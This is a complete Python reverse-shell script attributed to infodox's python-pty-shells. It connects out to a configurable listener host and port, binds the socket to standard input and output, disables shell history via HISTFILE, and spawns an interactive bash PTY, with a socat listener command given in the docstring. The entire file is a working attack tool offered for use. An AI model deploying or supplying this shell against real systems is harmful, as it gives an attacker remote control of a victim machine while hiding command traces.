reverse_shell.py

#!/usr/bin/env python
'''
Credits: https://github.com/infodox/python-pty-shells
'''

"""
Reverse Connect TCP PTY Shell - v1.0
infodox - insecurety.net (2013)
Gives a reverse connect PTY over TCP.
For an excellent listener use the following socat command:
socat file:`tty`,echo=0,raw tcp4-listen:PORT
Or use the included tcp_pty_shell_handler.py
"""
import os
import pty
import socket

lhost = "127.0.0.1" # XXX: CHANGEME
lport = 1337 # XXX: CHANGEME

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    os.putenv("HISTFILE",'/dev/null')
    pty.spawn("/bin/bash")
    s.close()
	
if __name__ == "__main__":
    main()